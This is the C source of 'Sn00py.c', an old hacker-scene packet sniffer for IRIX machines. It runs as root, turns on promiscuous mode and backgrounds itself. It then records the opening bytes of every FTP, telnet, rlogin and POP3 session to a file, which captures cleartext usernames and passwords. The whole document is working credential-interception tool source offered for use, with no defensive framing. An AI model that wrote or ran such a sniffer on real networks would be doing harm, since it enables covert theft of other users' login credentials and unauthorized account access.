/*---------------------------------------------------------------*/ /* Sn00py.c - a quick IRIX sniffer.. */ /* ----------------------------------- */ /* What: a sniffer, designed for IRIX (5.x, 6.x) machines. */ /* Why: 'Cause other than try and compile sniffit (ugh), there */ /* really isn't any sniffer for IRIX boxes, that I know of. */ /* Who: morpheus. (n00ne@hotmail.com, for comments, flames, etc.)*/ /* */ /* Thanks to: SGI (for such great man pages (snoop(7P)) */ /* whoever wrote Esniff.c =) */ /*---------------------------------------------------------------*/ /* Notes: I) #include - This isn't for hacks... */ /* II) This little proggy has the side effect of setting */ /* the promiscuous flag. But hey - nobody's perfect. */ /* (if you ifconfig and dont see the PROMISC flag up */ /* try setenv'ing interface to the right interface */ /* (as shown by netstat -i). */ /* #includes... For SOME reason in sgi, relies on */ /* , which relies, in turn on sys/types.h. */ /* This order of #includes should do the trick... */ #include #include #include #include #include #include #include #include #include #include /* not really necessary.. */ #include #include #include /* #define's */ #define ETHERHDRPAD RAW_HDRPAD(sizeof(struct ether_header)) #define TRUE 1 #define FALSE 0 #define MAX_PACKETS 500 #define MAX_DATA 2048 /* in bytes */ char *resolvehost (struct in_addr ip_addr) { register struct hostent *he; he = gethostbyaddr ( (char *) &ip_addr.s_addr, sizeof(struct in_addr), AF_INET); return ( (he)? (he->h_name) : (inet_ntoa(ip_addr)) ); } int filter (char *Packet, int Packet_Size, struct in_addr IP_Addr1, int Port1, struct in_addr IP_Addr2, int Port2) { /* IP Packet Filtering Procedure */ /* ----------------------------- */ /* returns TRUE if Packet is from IP_Addr1:Port1 */ /* IP_Addr2:Port2, or vice versa.. */ struct ip *IP_Header; struct tcphdr *TCP_Header; if ( (Packet[0] != 0x45) || (Packet[9] != 0x06) ) return (FALSE); IP_Header = (struct ip *) Packet; TCP_Header = (struct tcphdr *) (Packet + 4 * IP_Header->ip_hl); if ( ((memcmp (&IP_Header->ip_src, &IP_Addr1, 4) == 0) && (memcmp (&IP_Header->ip_dst, &IP_Addr2, 4) == 0) && (TCP_Header->th_sport == Port1) && (TCP_Header->th_dport == Port2) ) /* || ((memcmp (&IP_Header->ip_src, &IP_Addr2, 4) == 0) && (memcmp (&IP_Header->ip_dst, &IP_Addr1, 4) == 0) && (TCP_Header->th_sport == Port2) && (TCP_Header->th_dport == Port1) ) */ ) { return (TRUE);} else return (FALSE); } int main (int argc, char **argv) { struct etherpacket { struct snoopheader snoop; char pad[ETHERHDRPAD]; struct ether_header ether; char data[ETHERMTU]; } ; struct snoopfilter { u_long sf_mask[SNOOP_FILTERLEN]; u_long sf_match[SNOOP_FILTERLEN]; u_short sf_allocated:1, sf_active:1, sf_promisc:1, sf_allmulti:1, sf_index:SNOOP_MAXFILTSHIFT; u_short sf_port; } ; int i, j, k; /* Counters... */ int bytes_read; /* data count */ int cc = 60000, on = 1; int s; /* Our Snoop Socket... */ char *interface; /* Gets the interface env. var, if set */ struct sockaddr_raw sr; struct etherpacket ep,ep1; struct snoopfilter sf; struct ip *IP_Header, *IP_Header1; /* Header ptrs to */ struct tcphdr *TCP_Header, *TCP_Header1;/* overlay on data */ #define TCP_FLAGS_ARE_SET(flags) (TCP_Header->th_flags & (flags)) short int Source_Port, Dest_Port; char *Source_Addr, *Destination_Addr; char *output_filename; FILE *output; output_filename = strdup("OUT"); if (geteuid () != 0) { printf ("Error - You must be root to run this\n"); exit(-1); } /* Create the Snoop Socket.... */ s = socket(PF_RAW, SOCK_RAW, RAWPROTO_SNOOP); if (s < 0) { perror ("Error - Unable to open socket"); exit(-1); } /* Ready output file.... */ if ((output = fopen(output_filename, "wb")) == NULL) { printf ("Error - Unable to open output file %s\n", output_filename); exit(-1); } sr.sr_family = AF_RAW; sr.sr_port = 0; /* Get the interface name (e.g. ec0, ef0, etc.) from an environment */ /* variable. Else, if not set, we'll attempt to bind to the primary */ /* interface... */ interface = getenv ("interface"); if (!interface) /* attempt to bind to primary interface ... */ memset(sr.sr_ifname, 0, sizeof sr.sr_ifname); else strncpy(sr.sr_ifname, interface, sizeof sr.sr_ifname); if (bind(s, &sr, sizeof sr) < 0) { perror ("Error - Unable to Bind Socket"); exit(1); } /* Kewl. We're bound. Next, initialize a generic filter, to match all */ /* packets, and add to the interface's filter set... */ bzero((char *) &sf, sizeof sf); ioctl(s, SIOCADDSNOOP, &sf); /* Increase the socket's receive buffer size to a generous upper */ /* bound, to cope with promiscuous reception of heavy traffic. Turn */ /* turn snooping on, read captured packets.. */ /* (yup.. right from the SGI Man..) */ setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *) &cc, sizeof cc); ioctl(s, SIOCSNOOPING, &on); /* If we got here ok - fork. We'll want to be a bg process anyhow */ if (fork()) exit(0);; for (;;) { cc = read(s, (char *) &ep, sizeof ep); /* ep.data now holds the packet, minus the ethernet header */ if ((cc > sizeof (struct ip)) && (ep.data[0] == 0x45) && (ep.data[9] == 0x06)) { /* 0x45 = IPv4, and length = 5. So this is a pretty much */ /* unique Identifier for our purposes... 0x06 = TCP */ /* Since we checked the header len, we can safely overlay */ /* the struct ip on the data buffer.... */ IP_Header = (struct ip *) ep.data; Source_Addr = strdup (resolvehost(IP_Header->ip_src)); Destination_Addr = strdup (resolvehost(IP_Header->ip_dst)); /* Now - carefully overlay the TCP header , right after */ /* the IP header - that is, at an offset of ip_hl WORDS */ /* from the beginning (hence the x4). */ TCP_Header = (struct tcphdr *) (ep.data + 4 * IP_Header->ip_hl); /* Now - we're only interested in logging the first few */ /* bytes of each session (hey - we can't log EVERYTHING..) */ /* so - check for handshakes (see if SYN flag is up...) */ /* and log FTP, telnet, rlogin, and pop... */ if ((TCP_FLAGS_ARE_SET(TH_SYN)) && ((TCP_Header->th_dport == 110) || (TCP_Header->th_dport == 23) || (TCP_Header->th_dport == 21) || (TCP_Header->th_dport == 513) ) ) { fprintf (output, "Connection :%s(%d) -> %s(%d)\n", Source_Addr, TCP_Header->th_sport, Destination_Addr, TCP_Header->th_dport); /* Read On */ bytes_read = 0; cc = read(s, (char *) &ep1, sizeof ep1); for (j=0; (j < MAX_PACKETS) && (bytes_read < MAX_DATA) ; ) { if (filter(ep1.data, cc, IP_Header->ip_src, TCP_Header->th_sport, IP_Header->ip_dst, TCP_Header->th_dport) ) { IP_Header1 = (struct ip *) ep1.data; TCP_Header1 = (struct tcphdr *) (ep1.data + 4 * IP_Header1->ip_hl); if (TCP_Header1->th_flags & (TH_RST | TH_FIN)) { fprintf(output,"\nConnection reset or closed\n"); j = MAX_PACKETS; } else { for (k= 4 * ( IP_Header1->ip_hl + TCP_Header1->th_off); k < IP_Header1->ip_len; k++) fputc(ep1.data[k], output); bytes_read += IP_Header1->ip_len - (4 * ( IP_Header1->ip_hl + TCP_Header1->th_off)); } /* In any case, inc. packet count... */ j++; } cc = read(s, (char *) &ep1, sizeof ep1); } /* End for j= ..... */ fprintf (output,"\Total bytes: %d\n", bytes_read); fflush(output); } /* End if TCP_FLAGS_ARE_SET */ } /* end if */ } /* end for (;;) */ } /* the end */